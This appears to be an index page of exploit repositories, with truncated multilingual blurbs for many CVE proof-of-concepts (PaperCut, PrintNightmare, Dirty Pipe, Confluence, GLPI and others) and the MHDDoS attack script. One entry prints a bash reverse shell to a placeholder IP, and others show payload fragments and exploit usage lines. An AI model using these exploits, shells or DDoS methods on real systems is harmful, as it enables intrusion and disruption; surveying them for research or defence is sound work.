AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution

AgentDVR-5.1.6.0-Caricamento-file-ed-Esecuzione-Remota-di-Codice CVE-2024-22515 caricamento file arbitrario e CVE-2024-22514 esecuzione remota di codice per AgentDVR 5.1.6.0 Autenticato Versioni precedenti probabilmente affette https://github.com/Orange-418/CVE-2024-22514-Remote-Code-Execution...

CVE-2025-39459

CVE-2025-39459 Real Estate 7 = 3.5.2 - Escalation di privilegi senza autenticazione 🧨 CVE-2025-39459 — Real Estate 7 = 3.5.2 Escalation di privilegi senza autenticazione 📌 Panoramica Questo repository contiene un tool proof-of-concept in Python per CVE-2025-39459 , che colpisce il tema WordPress...

CVE-2024-41276

CVE-2024-41276 Bypass de Autenticação do Kaiten Kaiten - um sistema de gerenciamento de workflow. Uma vulnerabilidade no Kaiten permite que atacantes burlem o mecanismo de autenticação por código PIN. O aplicativo exige que os usuários insiram um código PIN de 6 dígitos enviado para seu e-mail...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC z. B. root@kitploit: package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\...

CVE-2025-29306-PoC-FoxCMS-RCE

CVE-2025-29306 - Exploit de Execução Remota de Código FoxCMS Um exploit em Python para CVE-2025-29306, uma vulnerabilidade de execução remota de código no FoxCMS. Esta ferramenta permite testar alvos únicos ou escanear vários hosts em lote. Características Capacidade de escaneamento de alvo único...

CVE-2023-27350

! Be careful executing this as it re-configures the server config in order to execute commands. The script reverts the changes on exit but might not revert it if the process is improperly killed ! CVE-2023-27350 Papercut अप्रमाणित RCE Versions root@kitploit: स्क्रिप्ट स्वचालित रूप से जाँचती है कि...

geoexplorer

Client GeoExplorer Questo è il componente client del progetto GeoExplorer, progettato per inviare richieste a istanze GeoServer e testare potenziali vulnerabilità. Requisiti Python 3.x Pacchetti Python richiesti installare con pip install -r requirements.txt: requests argparse urllib3 Utilizzo...

MHDDoS v2.4.5

MHDDoS - DDoS Attack Script With 57 Methods Programming Language - Python 3 Please Don't Attack websites without the owner's consent. Features And Methods 💣 Layer7 GET | GET Flood POST | POST Flood OVH | Bypass OVH !ov...

ImageMagick-CVE-2022-44268-PoC

ImageMagick-CVE-2022-44268-PoC Uno script bash per sfruttare facilmente la vulnerabilità di lettura arbitraria dei file di ImageMagick CVE-2022-44268 Versione di ImageMagick interessata root@kitploit: Version: ImageMagick 6.9.11-60 Q16 x8664 2021-01-25 https://imagemagick.org Copyright: C 1999-20...

ghidra_stack_strings

Ghidra Stack-strings Uno script per rilevare le stack-string scritte dalle istruzioni x86/x64 selezionate, emulate usando Unicorn. Lo script è scritto in Python 3, quindi richiede Ghidrathon...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Procedere cliccando su Add come mostrato nell'immagine qui sotto. Ora creiamo una reverse shell bash come nostro comando Miscellaneous root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 E cliccare su Save Ora navighiamo fino a Configuration...

oxide_hive

Oxide Hive Un exploit per la vulnerabilità HiveNightmare/SeriousSAM che permette di leggere hive del registro contenenti dati sensibili senza privilegi di amministratore. Se non sembra escalation di privilegi, non so cosa lo sia. Utilizzo Dopo aver compilato l'exploit con cargo build e recuperato...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 1 giugno 2021 CVE-2021-1675 è una vulnerabilità critica di esecuzione remota di codice e di elevazione dei privilegi locali denominata "PrintNightmare". Sono state rilasciate prove di concetto PoC per la capacità di...

CVE-2022-0185-Case-Study

CVE-2022-0185-Case-Study Questo case study è il risultato di un compito del corso ECE 9069: Introduction to Hacking : https://whisperlab.org/introduction-to-hacking/ Panoramica di CVE-2022-0185 CVE-2022-0185 è un difetto di overflow del buffer basato su heap trovato nel modo in cui la funzione...

CVE-2024-22120-RCE-with-gopher

Utilizzo root@kitploit: python exploit.py --ip --sid --hostid --phpsessid --falsetime --truetime Riepilogo Questo exploit è stato creato per sfruttare una XXE XML External Entity. Attraverso di essa, ho letto il codice backend del servizio web e ho trovato un endpoint dove potevo usare gopher per...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits Una raccolta di exploit e documentazione per penetration tester e red teamer, utile per agevolare lo sfruttamento della vulnerabilità Linux Dirty Pipe. Informazioni sulla vulnerabilità Dirty Pipe CVE-2022-0847 è una vulnerabilità di escalation dei privilegi locale...

CVE-2021-26084_PoC

CVE-2021-26084PoC CVE-2021-26084 Script di test RCE pre-auth di Confluence Uso: py...

CVE-2023-26035

CVE-2023-26035 ZoneMinder Snapshots - Non autenticato Installazione Scarica la repo root@kitploit: $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git Configurazione Nota: installa l'ultima versione di node root@kitploit: $ npm init $ npm i axios cheerio yargs Utilizzo root@kitploit...

CVE-2025-24801

CVE-2025-24801 PoC per RCE su GLPI Questo repository contiene uno script proof-of-concept poc.py che sfrutta CVE-2025-24801, una vulnerabilità LFI-to-RCE in GLPI 10.0.17. Automatizza: Accesso a GLPI Abilitazione del caricamento di file .php aggiornando le impostazioni dei tipi di documento...

CVE-2022-36804

CVE-2022-36804 Puoi trovare uno script Python per sfruttare la vulnerabilità su Bitbucket relativa a CVE-2022-36804. root@kitploit: .,;;. .:lll:. 'clllllc. ,llolllooc' 'loooooooool, .;ooooooooooo;. .:;..;odddddddddo:. 'ldo:. ,llccoddddddc. ,oddddc. .. .:dddddddl' .;dxxxxxxc. .;dxxxxxxo, .:dxxxxxx...